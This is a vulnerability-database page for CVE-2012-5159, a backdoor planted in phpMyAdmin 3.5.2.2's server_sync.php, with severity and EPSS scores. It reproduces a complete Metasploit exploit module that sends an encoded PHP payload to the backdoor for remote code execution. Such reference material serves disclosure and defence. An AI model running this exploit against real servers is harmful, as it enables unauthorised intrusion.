CVE-2012-5159

CVE Descriptions

phpMyAdmin 3.5.2.2, as distributed by the cdnetworks-kr-1 mirror during an unspecified time frame in 2012, contains an externally introduced modification (Trojan Horse) in server_sync.php, which allows remote attackers to execute arbitrary PHP code via an eval injection attack.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-94	Improper Control of Generation of Code ('Code Injection') The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	7.5		AV:N/AC:L/Au:N/C:P/I:P/A:P	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	78.27%	–	–
2022-02-27	–	–	76.69%	–	–
2022-06-12	–	–	75.35%	–	–
2022-09-11	–	–	73.6%	–	–
2022-12-11	–	–	73.02%	–	–
2023-03-12	–	–	–	95.21%	–
2023-04-16	–	–	–	95.07%	–
2023-06-18	–	–	–	94.61%	–
2023-08-20	–	–	–	94.34%	–
2023-10-22	–	–	–	92.7%	–
2023-12-24	–	–	–	92.72%	–
2024-06-02	–	–	–	92.65%	–
2024-06-30	–	–	–	92.51%	–
2024-08-25	–	–	–	91.14%	–
2024-10-20	–	–	–	90.11%	–
2024-12-08	–	–	–	88.05%	–
2024-12-22	–	–	–	86.1%	–
2025-02-02	–	–	–	86.34%	–
2025-01-19	–	–	–	86.1%	–
2025-02-02	–	–	–	86.34%	–
2025-03-18	–	–	–	–	87.94%
2025-03-18	–	–	–	–	87.94,%

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Date	Percentile
2022-02-06	99%
2022-02-27	99%
2022-06-12	99%
2022-09-11	99%
2022-12-11	99%
2023-03-12	99%
2023-04-16	99%
2023-06-18	99%
2023-08-20	99%
2023-10-22	99%
2023-12-24	99%
2024-06-02	99%
2024-06-30	99%
2024-08-25	99%
2024-10-20	99%
2024-12-08	99%
2024-12-22	99%
2025-02-02	99%
2025-01-19	99%
2025-02-02	99%
2025-03-18	99%
2025-03-18	99%

Exploit information

Exploit Database EDB-ID : 21834

Publication date : 2012-10-09 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'phpMyAdmin 3.5.2.2 server_sync.php Backdoor', 'Description' => %q{ This module exploits an arbitrary code execution backdoor placed into phpMyAdmin v3.5.2.2 thorugh a compromised SourceForge mirror. }, 'Author' => [ 'hdm' ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ ['URL', 'http://www.phpmyadmin.net/home_page/security/PMASA-2012-5.php'] ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, 'Compat' => { 'ConnectionType' => 'find', }, # Arbitrary big number. The payload gets sent as an HTTP # response body, so really it's unlimited 'Space' => 262144, # 256k }, 'DefaultOptions' => { 'WfsDelay' => 30 }, 'DisclosureDate' => 'Sep 25 2012', 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [[ 'Automatic', { }]], 'DefaultTarget' => 0)) register_options([ OptString.new('PATH', [ true , "The base directory containing phpMyAdmin try", '/phpMyAdmin']) ], self.class) end def exploit uris = [] tpath = datastore['PATH'] if tpath[-1,1] == '/' tpath = tpath.chop end pdata = "c=" + Rex::Text.to_hex(payload.encoded, "%") res = send_request_raw( { 'global' => true, 'uri' => tpath + "/server_sync.php", 'method' => 'POST', 'data' => pdata, 'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded', 'Content-Length' => pdata.length, } }, 1.0) handler end end